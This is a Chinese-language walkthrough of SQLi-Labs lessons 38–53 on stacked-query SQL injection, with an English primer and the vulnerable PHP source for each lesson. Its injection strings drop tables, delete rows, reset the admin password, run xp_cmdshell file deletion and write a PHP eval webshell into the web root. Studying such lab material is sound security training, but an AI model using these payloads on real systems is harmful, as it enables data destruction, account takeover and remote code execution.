您的位置:首页 > 数据库

SQLi Labs Stacked Injections ( Lesson38 - Lesson53 )

2016-08-30 22:12 489 查看
第三部分:Stacked Injection

Stacked Queries

Execute multiple statements in the same query to extend the possibilities of SQL injections

Stacked queries provide a lot of control to the attacker. By terminating the original query and adding a new one, it will be possible to modify data and call stored procedures. This technique is massively used in SQL injection attacks and understanding its
principle is essential to a sound understanding of this security issue.

Principle

In SQL, a semicolon indicates that the end of a statement has been reached and what follows is a new one. This allows executing multiple statements in the same call to the database server. Contrary to UNION attacks which are limited to SELECT statements,stacked
queries can be used to execute any SQL statement or procedure
. A classic attack using this technique could look like the following.

Malicious user input.

1; DELETE FROM products

 

Generated query with multiple statements. The parameter productid was not sanitized.

SELECT * FROM products WHERE productid=1; DELETE FROM products

When the query is executed, a product is returned by the first statement and
all products are deleted
by the second.

Stacked Queries Limitations

It is important to mention that query stacking does not work in every situation. Most of the time, this kind of attack is impossible because the API and/or database engine do not support this functionality. Insufficient rights could also explain why the
attacker is unable to modify data or call some procedures.

Below is a list of query stacking support by the principal API and DBMS.

Stacked query support.

MySQL/PHP - Not supported (supported by MySQL for other API).

SQL Server/Any API - Supported.

Oracle/Any API - Not supported.

Even though we mentioned earlier that stacked queries can add any SQL statement, this injection technique is frequently limited when it comes to adding SELECTs.Both statements will be executed but software code is usually designed to handle
the results returned by only one query. Consequently, the injected SELECT query will often generate an error or its results will simply be ignored. For this reason it is recommended to use UNION attacks when trying to extract data.

One last thing needs to be mentionned: to inject a valid SQL segment, the attacker will need to know some basic information such as table names, column names, etc. For more information refer to the section dedicated to information gathering.

Altering Data

The example presented at the beginning of the article demonstrates how query stacking can be used to delete information from the database. Instead of destroying data, attackers usually try to steal it or grant themselves high privileges on the system. A
frequent approach is to change the administrator’s password. The example below illustrates a classic data modification using SQL injection.

User input.

1; UPDATE members SET password='pwd' WHERE username='admin'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'



Calling Stored Procedures

Calling a procedure can bring SQL injections attacks to a whole new level. Nowadays, many database management systems come with built in packages of functions and procedures to simplify development and provide new functionalities. Therefore, it becomes possible
to communicate with network, control the operating system and do even more from a simple SQL statement.

As there is no convention between DBMS regarding to packages and procedures name, the attacker will have to identify which database system is used before trying to call a built-in procedure. From there, the principle is the same as examples presented earlier
except that the injected query is a stored procedure call. Let see how it can be done with the use ofxp_shellcmd; a SQL Server’s specific command which allows executing operating system calls.

User input.

1; exec master..xp_cmdshell 'DEL important_file.txt'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; exec master..xp_cmdshell 'DEL important_file.txt'

The query above will return a product list and delete "important_file.txt". A much more complex attack could have been launched to take control over the operating system, but this is outside the scope of this article. The injected statement is not
limited to built-in packages; a user-defined procedure could also be called. This approach is not frequent but it could be useful in some specific cases.

Lesson - 38

GET - Stacked Query Injection - String

SQL语句结构:

select ... from table where id = '$id' limit 0,1;

根据前面所学,可以得到数据库名,表名,表中内容。

如,构造?id=0' union select 1,database(),user()--+



后台php部分源代码(方便阅读,有修改):

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
mysqli_multi_query($sql))


关于mysqli_multi_query , 详细信息,http://php.net/manual/zh/mysqli.multi-query.php

正是由于后台用了该函数,才可以进行stacked injection

删除表referers:

?id=1';drop table referers;--+

由于后台:

if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
}


只显示了id=1的用户信息,"drop table referers" 成功与否,前端无法显示。



通过phpMyAdmin查看数据库Security,发现referers表已被删除。



修改用户密码:

?id=1';update users set password='fvck' where username='Dumb';--+



写入一个webshell:

?id=1';select "<?php phpinfo();@eval($_POST['foo']);?>" into outfile "D:/Program Files (x86)/wamp/www/sqli_labs/Less-38/phpinfo.php" --+

Lesson - 39

GET - Stacked Query Injection - intiger based

 SQL语句结构:

select .. from table where id = $id limit 0,1;

后台php源代码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
//            mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}


注入方法,同上节。

Lesson - 40

GET - Blind Based - String - Stacked

SQL语句结构:

select ... from table_name where id=('$id') ...

php源码,验证:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";


注入方法略。

Lesson - 41

GET - Blind Based - intiger - Stacked

SQL语句结构:

select ...... from table_name where id=$id ......

构造 ?id=0 union select 1,2,3 --+

结果如图所示:



Lesson - 42

POST - Error based - String - stacked

创建新用户,和修改密码的链接都是提示让你hack the way。

首先尝试对login_user参数闭合引号,添加注释,以绕过password验证,没有奏效。

接着,构造如下POST表单数据

login_user=admin&login_password=123' or 1=1#&mysubmit=Login

结果如图所示:



如此通过添加 or 语句测试,只要得到数据库用户表的信息,就能注册新用户,或者更改密码。

构造如下表单数据

login_user=admin

&login_password=123' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#

&mysubmit=Login

刷新直至爆出表:



同理,可得到users表:



构造如下表单数据:

login_user=admin

&login_password=123' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b
limit 0,1)#

&mysubmit=Login

得到users表中的列名:







更改密码:

login_user=admin

&login_password=123';update users set password='fvck' where username='admin';#

&mysubmit=Login

 

php源代码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
......
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
........
}
.......


password没有进行过滤,mysqli_multi_query函数是成功注入的成因。

Lesson - 43

POST - Error based - String - Stacked with twist

构造如下表单数据:

login_user=admin&login_password=123456'or 1=1&mysubmit=Login

报错:



猜测SQL语句结构 select ... from users where username = ('login_user') and password = ('password') ...

验证:

login_user=admin&login_password=123456')or 1=1#&mysubmit=Login



注入方法同上节。

Lesson - 44

POST - Error based - String - Stacked - Blind

构造表单数据

login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

结果如图所示:



猜测SQL语句结构:

select ... from table_name where username='$username' and password = '$password'......

PHP源代码:

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}


本节关闭了错误回显,盲注。

可以利用上述表单数据 login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

中的 or 语句对数据库信息进行猜解,如果正确会成功以Dumb登陆。

如,构造如下表单数据:

login_user=admin&login_password=123456' or substring(version(),1,1)=4#&mysubmit=Login

结果未成功登陆。

说明当前数据库版本不是4。

将版本号改为5:

login_user=admin&login_password=123456' or substring(version(),1,1)=5#&mysubmit=Login

成功登陆。

通过此方法可以猜解更多信息。

Lesson - 45

POST - Error based - String - Stacked - Blind

猜测SQL语句结构:

select ... from table_name where username = ('$username') and password = ('$password')

查看PHP源代码验证:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}


注入略。

Lesson - 46

GET - Error Based - Numeric - Order By clause

构造 ?sort=1,结果如图所示:



构造 ?sort=2



猜测SQL语句 select * from users order by $sort

PHP源代码:

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);


构造

?sort=(select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)



还可以利用延时注入

?sort=1 and if(length(database())=8,sleep(1),null)

这里等待了大概13s,因为users表中有13条数据。



Lesson - 47

GET - Error based - String - Order By Clause

猜测SQL语句结构:

select * from table_name order by '$id'

$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);


构造:

?sort=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a)as b limit 0,1)--+



Lesson - 48

GET- Error based - Blind - Numeric - Order By Clause

SQL语句结构:

select * from users order by $sort

注入略。

Lesson - 49

GET - Error based - String - Blind - Order By Clause

SQL语句结构:

select * from users order by '$sort'

注入略。

Lesson - 50

GET - Error based - Order By Clause - Numeric - Stacked Injection

SQL语句结构:

select * from users order by $sort

PHP源代码:

$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}


存在stacked Injection。

注入略。

Lesson - 51

GET - Error based - Order By Clause - String - Stacked Injection

SQL语句结构:

select * from users order by '$sort'

PHP源代码:

$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}

注入略。

Lesson - 52

GET - Blind based - Order By Clause - Numeric - Stacked Injection

构造:

?sort=1 and if(1=1,sleep(1),null)

SQL语句结构:

select * from users order by $sort

源码使用mysqli_multi_query函数,存在Stacked Injection注入。

注入略。

Lesson - 53

GET - Blind based - Order By Clause - String - Stacked Injection

构造:?sort=1'--+,返回正常结果。

SQL语句结构:

select * from users order by '$sort'

注入略。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: